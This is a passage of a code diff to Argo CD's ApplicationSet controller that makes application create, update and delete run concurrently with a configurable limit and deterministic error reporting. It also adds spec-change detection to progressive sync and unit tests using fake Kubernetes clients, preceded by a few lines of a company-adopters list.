1. [Tailor Brands](https://www.tailorbrands.com)
|
||||
1. [Tamkeen Technologies](https://tamkeentech.sa/)
|
||||
1. [TBC Bank](https://tbcbank.ge/)
|
||||
1. [Techcom Securities](https://www.tcbs.com.vn/)
|
||||
1. [Techcombank](https://www.techcombank.com.vn/trang-chu)
|
||||
1. [Technacy](https://www.technacy.it/)
|
||||
1. [Telavita](https://www.telavita.com.br/)
|
||||
|
||||
@@ -24,11 +24,13 @@ import (
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/google/go-cmp/cmp"
|
||||
"github.com/google/go-cmp/cmp/cmpopts"
|
||||
log "github.com/sirupsen/logrus"
|
||||
"golang.org/x/sync/errgroup"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
apierrors "k8s.io/apimachinery/pkg/api/errors"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
@@ -74,6 +76,9 @@ const (
|
||||
ReconcileRequeueOnValidationError = time.Minute * 3
|
||||
ReverseDeletionOrder = "Reverse"
|
||||
AllAtOnceDeletionOrder = "AllAtOnce"
|
||||
revisionAndSpecChangedMsg = "Application has pending changes (revision and spec differ), setting status to Waiting"
|
||||
revisionChangedMsg = "Application has pending changes, setting status to Waiting"
|
||||
specChangedMsg = "Application has pending changes (spec differs), setting status to Waiting"
|
||||
)
|
||||
|
||||
var defaultPreservedFinalizers = []string{
|
||||
@@ -103,15 +108,16 @@ type ApplicationSetReconciler struct {
|
||||
Policy argov1alpha1.ApplicationsSyncPolicy
|
||||
EnablePolicyOverride bool
|
||||
utils.Renderer
|
||||
ArgoCDNamespace string
|
||||
ApplicationSetNamespaces []string
|
||||
EnableProgressiveSyncs bool
|
||||
SCMRootCAPath string
|
||||
GlobalPreservedAnnotations []string
|
||||
GlobalPreservedLabels []string
|
||||
Metrics *metrics.ApplicationsetMetrics
|
||||
MaxResourcesStatusCount int
|
||||
ClusterInformer *settings.ClusterInformer
|
||||
ArgoCDNamespace string
|
||||
ApplicationSetNamespaces []string
|
||||
EnableProgressiveSyncs bool
|
||||
SCMRootCAPath string
|
||||
GlobalPreservedAnnotations []string
|
||||
GlobalPreservedLabels []string
|
||||
Metrics *metrics.ApplicationsetMetrics
|
||||
MaxResourcesStatusCount int
|
||||
ClusterInformer *settings.ClusterInformer
|
||||
ConcurrentApplicationUpdates int
|
||||
}
|
||||
|
||||
// +kubebuilder:rbac:groups=argoproj.io,resources=applicationsets,verbs=get;list;watch;create;update;patch;delete
|
||||
@@ -688,108 +694,133 @@ func (r *ApplicationSetReconciler) SetupWithManager(mgr ctrl.Manager, enableProg
|
||||
// - For existing application, it will call update
|
||||
// The function also adds owner reference to all applications, and uses it to delete them.
|
||||
func (r *ApplicationSetReconciler) createOrUpdateInCluster(ctx context.Context, logCtx *log.Entry, applicationSet argov1alpha1.ApplicationSet, desiredApplications []argov1alpha1.Application) error {
|
||||
var firstError error
|
||||
// Creates or updates the application in appList
|
||||
for _, generatedApp := range desiredApplications {
|
||||
appLog := logCtx.WithFields(applog.GetAppLogFields(&generatedApp))
|
||||
// Build the diff config once per reconcile.
|
||||
// Diff config is per applicationset, so generate it once for all applications
|
||||
diffConfig, err := utils.BuildIgnoreDiffConfig(applicationSet.Spec.IgnoreApplicationDifferences, normalizers.IgnoreNormalizerOpts{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to build ignore diff config: %w", err)
|
||||
}
|
||||
|
||||
g, ctx := errgroup.WithContext(ctx)
|
||||
concurrency := r.concurrency()
|
||||
g.SetLimit(concurrency)
|
||||
|
||||
var appErrorsMu sync.Mutex
|
||||
appErrors := map[string]error{}
|
||||
|
||||
for _, generatedApp := range desiredApplications {
|
||||
// Normalize to avoid fighting with the application controller.
|
||||
generatedApp.Spec = *argoutil.NormalizeApplicationSpec(&generatedApp.Spec)
|
||||
g.Go(func() error {
|
||||
appLog := logCtx.WithFields(applog.GetAppLogFields(&generatedApp))
|
||||
|
||||
found := &argov1alpha1.Application{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: generatedApp.Name,
|
||||
Namespace: generatedApp.Namespace,
|
||||
},
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
Kind: application.ApplicationKind,
|
||||
APIVersion: "argoproj.io/v1alpha1",
|
||||
},
|
||||
}
|
||||
|
||||
action, err := utils.CreateOrUpdate(ctx, appLog, r.Client, applicationSet.Spec.IgnoreApplicationDifferences, normalizers.IgnoreNormalizerOpts{}, found, func() error {
|
||||
// Copy only the Application/ObjectMeta fields that are significant, from the generatedApp
|
||||
found.Spec = generatedApp.Spec
|
||||
|
||||
// allow setting the Operation field to trigger a sync operation on an Application
|
||||
if generatedApp.Operation != nil {
|
||||
found.Operation = generatedApp.Operation
|
||||
found := &argov1alpha1.Application{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: generatedApp.Name,
|
||||
Namespace: generatedApp.Namespace,
|
||||
},
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
Kind: application.ApplicationKind,
|
||||
APIVersion: "argoproj.io/v1alpha1",
|
||||
},
|
||||
}
|
||||
|
||||
preservedAnnotations := make([]string, 0)
|
||||
preservedLabels := make([]string, 0)
|
||||
action, err := utils.CreateOrUpdate(ctx, appLog, r.Client, diffConfig, found, func() error {
|
||||
// Copy only the Application/ObjectMeta fields that are significant, from the generatedApp
|
||||
found.Spec = generatedApp.Spec
|
||||
|
||||
if applicationSet.Spec.PreservedFields != nil {
|
||||
preservedAnnotations = append(preservedAnnotations, applicationSet.Spec.PreservedFields.Annotations...)
|
||||
preservedLabels = append(preservedLabels, applicationSet.Spec.PreservedFields.Labels...)
|
||||
}
|
||||
|
||||
if len(r.GlobalPreservedAnnotations) > 0 {
|
||||
preservedAnnotations = append(preservedAnnotations, r.GlobalPreservedAnnotations...)
|
||||
}
|
||||
|
||||
if len(r.GlobalPreservedLabels) > 0 {
|
||||
preservedLabels = append(preservedLabels, r.GlobalPreservedLabels...)
|
||||
}
|
||||
|
||||
// Preserve specially treated argo cd annotations:
|
||||
// * https://github.com/argoproj/applicationset/issues/180
|
||||
// * https://github.com/argoproj/argo-cd/issues/10500
|
||||
preservedAnnotations = append(preservedAnnotations, defaultPreservedAnnotations...)
|
||||
|
||||
for _, key := range preservedAnnotations {
|
||||
if state, exists := found.Annotations[key]; exists {
|
||||
if generatedApp.Annotations == nil {
|
||||
generatedApp.Annotations = map[string]string{}
|
||||
}
|
||||
generatedApp.Annotations[key] = state
|
||||
// allow setting the Operation field to trigger a sync operation on an Application
|
||||
if generatedApp.Operation != nil {
|
||||
found.Operation = generatedApp.Operation
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range preservedLabels {
|
||||
if state, exists := found.Labels[key]; exists {
|
||||
if generatedApp.Labels == nil {
|
||||
generatedApp.Labels = map[string]string{}
|
||||
}
|
||||
generatedApp.Labels[key] = state
|
||||
preservedAnnotations := make([]string, 0)
|
||||
preservedLabels := make([]string, 0)
|
||||
|
||||
if applicationSet.Spec.PreservedFields != nil {
|
||||
preservedAnnotations = append(preservedAnnotations, applicationSet.Spec.PreservedFields.Annotations...)
|
||||
preservedLabels = append(preservedLabels, applicationSet.Spec.PreservedFields.Labels...)
|
||||
}
|
||||
}
|
||||
|
||||
// Preserve deleting finalizers and avoid diff conflicts
|
||||
for _, finalizer := range defaultPreservedFinalizers {
|
||||
for _, f := range found.Finalizers {
|
||||
// For finalizers, use prefix matching in case it contains "/" stages
|
||||
if strings.HasPrefix(f, finalizer) {
|
||||
generatedApp.Finalizers = append(generatedApp.Finalizers, f)
|
||||
if len(r.GlobalPreservedAnnotations) > 0 {
|
||||
preservedAnnotations = append(preservedAnnotations, r.GlobalPreservedAnnotations...)
|
||||
}
|
||||
|
||||
if len(r.GlobalPreservedLabels) > 0 {
|
||||
preservedLabels = append(preservedLabels, r.GlobalPreservedLabels...)
|
||||
}
|
||||
|
||||
// Preserve specially treated argo cd annotations:
|
||||
// * https://github.com/argoproj/applicationset/issues/180
|
||||
// * https://github.com/argoproj/argo-cd/issues/10500
|
||||
preservedAnnotations = append(preservedAnnotations, defaultPreservedAnnotations...)
|
||||
|
||||
for _, key := range preservedAnnotations {
|
||||
if state, exists := found.Annotations[key]; exists {
|
||||
if generatedApp.Annotations == nil {
|
||||
generatedApp.Annotations = map[string]string{}
|
||||
}
|
||||
generatedApp.Annotations[key] = state
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range preservedLabels {
|
||||
if state, exists := found.Labels[key]; exists {
|
||||
if generatedApp.Labels == nil {
|
||||
generatedApp.Labels = map[string]string{}
|
||||
}
|
||||
generatedApp.Labels[key] = state
|
||||
}
|
||||
}
|
||||
|
||||
// Preserve deleting finalizers and avoid diff conflicts
|
||||
for _, finalizer := range defaultPreservedFinalizers {
|
||||
for _, f := range found.Finalizers {
|
||||
// For finalizers, use prefix matching in case it contains "/" stages
|
||||
if strings.HasPrefix(f, finalizer) {
|
||||
generatedApp.Finalizers = append(generatedApp.Finalizers, f)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found.Annotations = generatedApp.Annotations
|
||||
found.Labels = generatedApp.Labels
|
||||
found.Finalizers = generatedApp.Finalizers
|
||||
|
||||
return controllerutil.SetControllerReference(&applicationSet, found, r.Scheme)
|
||||
})
|
||||
if err != nil {
|
||||
appLog.WithError(err).WithField("action", action).Errorf("failed to %s Application", action)
|
||||
// If the context was canceled or its deadline exceeded, return the error so it propagates through g.Wait().
|
||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return err
|
||||
}
|
||||
// For backwards compatibility with sequential behavior: continue processing other applications
|
||||
// but record the error keyed by app name so we can deterministically return the error from
|
||||
// the lexicographically first failing app, regardless of goroutine scheduling order.
|
||||
appErrorsMu.Lock()
|
||||
appErrors[generatedApp.Name] = err
|
||||
appErrorsMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
found.Annotations = generatedApp.Annotations
|
||||
found.Labels = generatedApp.Labels
|
||||
found.Finalizers = generatedApp.Finalizers
|
||||
|
||||
return controllerutil.SetControllerReference(&applicationSet, found, r.Scheme)
|
||||
if action != controllerutil.OperationResultNone {
|
||||
// Don't pollute etcd with "unchanged Application" events
|
||||
r.Recorder.Eventf(&applicationSet, corev1.EventTypeNormal, fmt.Sprint(action), "%s Application %q", action, generatedApp.Name)
|
||||
appLog.Logf(log.InfoLevel, "%s Application", action)
|
||||
} else {
|
||||
// "unchanged Application" can be inferred by Reconcile Complete with no action being listed
|
||||
// Or enable debug logging
|
||||
appLog.Logf(log.DebugLevel, "%s Application", action)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
appLog.WithError(err).WithField("action", action).Errorf("failed to %s Application", action)
|
||||
if firstError == nil {
|
||||
firstError = err
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
if action != controllerutil.OperationResultNone {
|
||||
// Don't pollute etcd with "unchanged Application" events
|
||||
r.Recorder.Eventf(&applicationSet, corev1.EventTypeNormal, fmt.Sprint(action), "%s Application %q", action, generatedApp.Name)
|
||||
appLog.Logf(log.InfoLevel, "%s Application", action)
|
||||
} else {
|
||||
// "unchanged Application" can be inferred by Reconcile Complete with no action being listed
|
||||
// Or enable debug logging
|
||||
appLog.Logf(log.DebugLevel, "%s Application", action)
|
||||
}
|
||||
}
|
||||
return firstError
|
||||
|
||||
if err := g.Wait(); errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return err
|
||||
}
|
||||
return firstAppError(appErrors)
|
||||
}
|
||||
|
||||
// createInCluster will filter from the desiredApplications only the application that needs to be created
|
||||
@@ -849,36 +880,84 @@ func (r *ApplicationSetReconciler) deleteInCluster(ctx context.Context, logCtx *
|
||||
m[app.Name] = true
|
||||
}
|
||||
|
||||
// Delete apps that are not in m[string]bool
|
||||
var firstError error
|
||||
for _, app := range current {
|
||||
logCtx = logCtx.WithFields(applog.GetAppLogFields(&app))
|
||||
_, exists := m[app.Name]
|
||||
g, ctx := errgroup.WithContext(ctx)
|
||||
concurrency := r.concurrency()
|
||||
g.SetLimit(concurrency)
|
||||
|
||||
if !exists {
|
||||
var appErrorsMu sync.Mutex
|
||||
appErrors := map[string]error{}
|
||||
|
||||
// Delete apps that are not in m[string]bool
|
||||
for _, app := range current {
|
||||
_, exists := m[app.Name]
|
||||
if exists {
|
||||
continue
|
||||
}
|
||||
appLogCtx := logCtx.WithFields(applog.GetAppLogFields(&app))
|
||||
g.Go(func() error {
|
||||
// Removes the Argo CD resources finalizer if the application contains an invalid target (eg missing cluster)
|
||||
err := r.removeFinalizerOnInvalidDestination(ctx, applicationSet, &app, clusterList, logCtx)
|
||||
err := r.removeFinalizerOnInvalidDestination(ctx, applicationSet, &app, clusterList, appLogCtx)
|
||||
if err != nil {
|
||||
logCtx.WithError(err).Error("failed to update Application")
|
||||
if firstError != nil {
|
||||
firstError = err
|
||||
appLogCtx.WithError(err).Error("failed to update Application")
|
||||
// If the context was canceled or its deadline exceeded, return the error so it propagates through g.Wait().
|
||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
// For backwards compatibility with sequential behavior: continue processing other applications
|
||||
// but record the error keyed by app name so we can deterministically return the error from
|
||||
// the lexicographically first failing app, regardless of goroutine scheduling order.
|
||||
appErrorsMu.Lock()
|
||||
appErrors[app.Name] = err
|
||||
appErrorsMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
err = r.Delete(ctx, &app)
|
||||
if err != nil {
|
||||
logCtx.WithError(err).Error("failed to delete Application")
|
||||
if firstError != nil {
|
||||
firstError = err
|
||||
appLogCtx.WithError(err).Error("failed to delete Application")
|
||||
// If the context was canceled or its deadline exceeded, return the error so it propagates through g.Wait().
|
||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
appErrorsMu.Lock()
|
||||
appErrors[app.Name] = err
|
||||
appErrorsMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
r.Recorder.Eventf(&applicationSet, corev1.EventTypeNormal, "Deleted", "Deleted Application %q", app.Name)
|
||||
logCtx.Log(log.InfoLevel, "Deleted application")
|
||||
}
|
||||
appLogCtx.Log(log.InfoLevel, "Deleted application")
|
||||
return nil
|
||||
})
|
||||
}
|
||||
return firstError
|
||||
|
||||
if err := g.Wait(); errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return err
|
||||
}
|
||||
return firstAppError(appErrors)
|
||||
}
|
||||
|
||||
// concurrency returns the configured number of concurrent application updates, defaulting to 1.
|
||||
func (r *ApplicationSetReconciler) concurrency() int {
|
||||
if r.ConcurrentApplicationUpdates <= 0 {
|
||||
return 1
|
||||
}
|
||||
return r.ConcurrentApplicationUpdates
|
||||
}
|
||||
|
||||
// firstAppError returns the error associated with the lexicographically smallest application name
|
||||
// in the provided map. This gives a deterministic result when multiple goroutines may have
|
||||
// recorded errors concurrently, matching the behavior of the original sequential loop where the
|
||||
// first application in iteration order would determine the returned error.
|
||||
func firstAppError(appErrors map[string]error) error {
|
||||
if len(appErrors) == 0 {
|
||||
return nil
|
||||
}
|
||||
names := make([]string, 0, len(appErrors))
|
||||
for name := range appErrors {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return appErrors[names[0]]
|
||||
}
|
||||
|
||||
// removeFinalizerOnInvalidDestination removes the Argo CD resources finalizer if the application contains an invalid target (eg missing cluster)
|
||||
@@ -967,7 +1046,7 @@ func (r *ApplicationSetReconciler) removeOwnerReferencesOnDeleteAppSet(ctx conte
|
||||
func (r *ApplicationSetReconciler) performProgressiveSyncs(ctx context.Context, logCtx *log.Entry, appset argov1alpha1.ApplicationSet, applications []argov1alpha1.Application, desiredApplications []argov1alpha1.Application) (map[string]bool, error) {
|
||||
appDependencyList, appStepMap := r.buildAppDependencyList(logCtx, appset, desiredApplications)
|
||||
|
||||
_, err := r.updateApplicationSetApplicationStatus(ctx, logCtx, &appset, applications, appStepMap)
|
||||
_, err := r.updateApplicationSetApplicationStatus(ctx, logCtx, &appset, applications, desiredApplications, appStepMap)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to update applicationset app status: %w", err)
|
||||
}
|
||||
@@ -1144,10 +1223,16 @@ func getAppStep(appName string, appStepMap map[string]int) int {
|
||||
}
|
||||
|
||||
// check the status of each Application's status and promote Applications to the next status if needed
|
||||
func (r *ApplicationSetReconciler) updateApplicationSetApplicationStatus(ctx context.Context, logCtx *log.Entry, applicationSet *argov1alpha1.ApplicationSet, applications []argov1alpha1.Application, appStepMap map[string]int) ([]argov1alpha1.ApplicationSetApplicationStatus, error) {
|
||||
func (r *ApplicationSetReconciler) updateApplicationSetApplicationStatus(ctx context.Context, logCtx *log.Entry, applicationSet *argov1alpha1.ApplicationSet, applications []argov1alpha1.Application, desiredApplications []argov1alpha1.Application, appStepMap map[string]int) ([]argov1alpha1.ApplicationSetApplicationStatus, error) {
|
||||
now := metav1.Now()
|
||||
appStatuses := make([]argov1alpha1.ApplicationSetApplicationStatus, 0, len(applications))
|
||||
|
||||
// Build a map of desired applications for quick lookup
|
||||
desiredAppsMap := make(map[string]*argov1alpha1.Application)
|
||||
for i := range desiredApplications {
|
||||
desiredAppsMap[desiredApplications[i].Name] = &desiredApplications[i]
|
||||
}
|
||||
|
||||
for _, app := range applications {
|
||||
appHealthStatus := app.Status.Health.Status
|
||||
appSyncStatus := app.Status.Sync.Status
|
||||
@@ -1182,10 +1267,27 @@ func (r *ApplicationSetReconciler) updateApplicationSetApplicationStatus(ctx con
|
||||
newAppStatus := currentAppStatus.DeepCopy()
|
||||
newAppStatus.Step = strconv.Itoa(getAppStep(newAppStatus.Application, appStepMap))
|
||||
|
||||
if !reflect.DeepEqual(currentAppStatus.TargetRevisions, app.Status.GetRevisions()) {
|
||||
// A new version is available in the application and we need to re-sync the application
|
||||
revisionsChanged := !reflect.DeepEqual(currentAppStatus.TargetRevisions, app.Status.GetRevisions())
|
||||
|
||||
// Check if the desired Application spec differs from the current Application spec
|
||||
specChanged := false
|
||||
if desiredApp, ok := desiredAppsMap[app.Name]; ok {
|
||||
// Compare the desired spec with the current spec to detect non-Git changes
|
||||
// This will catch changes to generator parameters like image tags, helm values, etc.
|
||||
specChanged = !cmp.Equal(desiredApp.Spec, app.Spec, cmpopts.EquateEmpty(), cmpopts.EquateComparable(argov1alpha1.ApplicationDestination{}))
|
||||
}
|
||||
|
||||
if revisionsChanged || specChanged {
|
||||
newAppStatus.TargetRevisions = app.Status.GetRevisions()
|
||||
newAppStatus.Message = "Application has pending changes, setting status to Waiting"
|
||||
|
||||
switch {
|
||||
case revisionsChanged && specChanged:
|
||||
newAppStatus.Message = revisionAndSpecChangedMsg
|
||||
case revisionsChanged:
|
||||
newAppStatus.Message = revisionChangedMsg
|
||||
default:
|
||||
newAppStatus.Message = specChangedMsg
|
||||
}
|
||||
newAppStatus.Status = argov1alpha1.ProgressiveSyncWaiting
|
||||
newAppStatus.LastTransitionTime = &now
|
||||
}
|
||||
|
||||
@@ -25,6 +25,7 @@ import (
|
||||
ctrl "sigs.k8s.io/controller-runtime"
|
||||
crtclient "sigs.k8s.io/controller-runtime/pkg/client"
|
||||
"sigs.k8s.io/controller-runtime/pkg/client/fake"
|
||||
"sigs.k8s.io/controller-runtime/pkg/client/interceptor"
|
||||
"sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"
|
||||
"sigs.k8s.io/controller-runtime/pkg/event"
|
||||
|
||||
@@ -1077,6 +1078,70 @@ func TestCreateOrUpdateInCluster(t *testing.T) {
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "Ensure that unnormalized live spec does not cause a spurious patch",
|
||||
appSet: v1alpha1.ApplicationSet{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "name",
|
||||
Namespace: "namespace",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSetSpec{
|
||||
Template: v1alpha1.ApplicationSetTemplate{
|
||||
Spec: v1alpha1.ApplicationSpec{
|
||||
Project: "project",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
existingApps: []v1alpha1.Application{
|
||||
{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
Kind: application.ApplicationKind,
|
||||
APIVersion: "argoproj.io/v1alpha1",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "app1",
|
||||
Namespace: "namespace",
|
||||
ResourceVersion: "2",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{
|
||||
Project: "project",
|
||||
// Without normalizing the live object, the equality check
|
||||
// sees &SyncPolicy{} vs nil and issues an unnecessary patch.
|
||||
SyncPolicy: &v1alpha1.SyncPolicy{},
|
||||
},
|
||||
},
|
||||
},
|
||||
desiredApps: []v1alpha1.Application{
|
||||
{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "app1",
|
||||
Namespace: "namespace",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{
|
||||
Project: "project",
|
||||
SyncPolicy: nil,
|
||||
},
|
||||
},
|
||||
},
|
||||
expected: []v1alpha1.Application{
|
||||
{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
Kind: application.ApplicationKind,
|
||||
APIVersion: "argoproj.io/v1alpha1",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "app1",
|
||||
Namespace: "namespace",
|
||||
ResourceVersion: "2",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{
|
||||
Project: "project",
|
||||
SyncPolicy: &v1alpha1.SyncPolicy{},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "Ensure that argocd pre-delete and post-delete finalizers are preserved from an existing app",
|
||||
appSet: v1alpha1.ApplicationSet{
|
||||
@@ -1186,6 +1251,374 @@ func TestCreateOrUpdateInCluster(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateOrUpdateInCluster_Concurrent(t *testing.T) {
|
||||
scheme := runtime.NewScheme()
|
||||
err := v1alpha1.AddToScheme(scheme)
|
||||
require.NoError(t, err)
|
||||
|
||||
appSet := v1alpha1.ApplicationSet{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "name",
|
||||
Namespace: "namespace",
|
||||
},
|
||||
}
|
||||
|
||||
t.Run("all apps are created correctly with concurrency > 1", func(t *testing.T) {
|
||||
desiredApps := make([]v1alpha1.Application, 5)
|
||||
for i := range desiredApps {
|
||||
desiredApps[i] = v1alpha1.Application{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("app%d", i),
|
||||
Namespace: "namespace",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{Project: "project"},
|
||||
}
|
||||
}
|
||||
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(&appSet).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
Build()
|
||||
metrics := appsetmetrics.NewFakeAppsetMetrics()
|
||||
|
||||
r := ApplicationSetReconciler{
|
||||
Client: fakeClient,
|
||||
Scheme: scheme,
|
||||
Recorder: record.NewFakeRecorder(10),
|
||||
Metrics: metrics,
|
||||
ConcurrentApplicationUpdates: 5,
|
||||
}
|
||||
|
||||
err = r.createOrUpdateInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, desiredApps)
|
||||
require.NoError(t, err)
|
||||
|
||||
for _, desired := range desiredApps {
|
||||
got := &v1alpha1.Application{}
|
||||
require.NoError(t, fakeClient.Get(t.Context(), crtclient.ObjectKey{Namespace: desired.Namespace, Name: desired.Name}, got))
|
||||
assert.Equal(t, desired.Spec.Project, got.Spec.Project)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("non-context errors from concurrent goroutines are collected and one is returned", func(t *testing.T) {
|
||||
existingApps := make([]v1alpha1.Application, 5)
|
||||
initObjs := []crtclient.Object{&appSet}
|
||||
for i := range existingApps {
|
||||
existingApps[i] = v1alpha1.Application{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
Kind: application.ApplicationKind,
|
||||
APIVersion: "argoproj.io/v1alpha1",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("app%d", i),
|
||||
Namespace: "namespace",
|
||||
ResourceVersion: "1",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{Project: "old"},
|
||||
}
|
||||
app := existingApps[i].DeepCopy()
|
||||
require.NoError(t, controllerutil.SetControllerReference(&appSet, app, scheme))
|
||||
initObjs = append(initObjs, app)
|
||||
}
|
||||
|
||||
desiredApps := make([]v1alpha1.Application, 5)
|
||||
for i := range desiredApps {
|
||||
desiredApps[i] = v1alpha1.Application{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("app%d", i),
|
||||
Namespace: "namespace",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{Project: "new"},
|
||||
}
|
||||
}
|
||||
|
||||
patchErr := errors.New("some patch error")
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(initObjs...).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Patch: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ crtclient.Patch, _ ...crtclient.PatchOption) error {
|
||||
return patchErr
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
metrics := appsetmetrics.NewFakeAppsetMetrics()
|
||||
|
||||
r := ApplicationSetReconciler{
|
||||
Client: fakeClient,
|
||||
Scheme: scheme,
|
||||
Recorder: record.NewFakeRecorder(10),
|
||||
Metrics: metrics,
|
||||
ConcurrentApplicationUpdates: 5,
|
||||
}
|
||||
|
||||
err = r.createOrUpdateInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, desiredApps)
|
||||
require.ErrorIs(t, err, patchErr)
|
||||
})
|
||||
}
|
||||
|
||||
func TestCreateOrUpdateInCluster_ContextCancellation(t *testing.T) {
|
||||
scheme := runtime.NewScheme()
|
||||
err := v1alpha1.AddToScheme(scheme)
|
||||
require.NoError(t, err)
|
||||
|
||||
appSet := v1alpha1.ApplicationSet{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "name",
|
||||
Namespace: "namespace",
|
||||
},
|
||||
}
|
||||
existingApp := v1alpha1.Application{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
Kind: application.ApplicationKind,
|
||||
APIVersion: "argoproj.io/v1alpha1",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "app1",
|
||||
Namespace: "namespace",
|
||||
ResourceVersion: "1",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{Project: "old"},
|
||||
}
|
||||
desiredApp := v1alpha1.Application{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "app1",
|
||||
Namespace: "namespace",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{Project: "new"},
|
||||
}
|
||||
|
||||
t.Run("context canceled on patch is returned directly", func(t *testing.T) {
|
||||
initObjs := []crtclient.Object{&appSet}
|
||||
app := existingApp.DeepCopy()
|
||||
err = controllerutil.SetControllerReference(&appSet, app, scheme)
|
||||
require.NoError(t, err)
|
||||
initObjs = append(initObjs, app)
|
||||
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(initObjs...).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Patch: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ crtclient.Patch, _ ...crtclient.PatchOption) error {
|
||||
return context.Canceled
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
metrics := appsetmetrics.NewFakeAppsetMetrics()
|
||||
|
||||
r := ApplicationSetReconciler{
|
||||
Client: fakeClient,
|
||||
Scheme: scheme,
|
||||
Recorder: record.NewFakeRecorder(10),
|
||||
Metrics: metrics,
|
||||
}
|
||||
|
||||
err = r.createOrUpdateInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, []v1alpha1.Application{desiredApp})
|
||||
require.ErrorIs(t, err, context.Canceled)
|
||||
})
|
||||
|
||||
t.Run("context deadline exceeded on patch is returned directly", func(t *testing.T) {
|
||||
initObjs := []crtclient.Object{&appSet}
|
||||
app := existingApp.DeepCopy()
|
||||
err = controllerutil.SetControllerReference(&appSet, app, scheme)
|
||||
require.NoError(t, err)
|
||||
initObjs = append(initObjs, app)
|
||||
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(initObjs...).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Patch: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ crtclient.Patch, _ ...crtclient.PatchOption) error {
|
||||
return context.DeadlineExceeded
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
metrics := appsetmetrics.NewFakeAppsetMetrics()
|
||||
|
||||
r := ApplicationSetReconciler{
|
||||
Client: fakeClient,
|
||||
Scheme: scheme,
|
||||
Recorder: record.NewFakeRecorder(10),
|
||||
Metrics: metrics,
|
||||
}
|
||||
|
||||
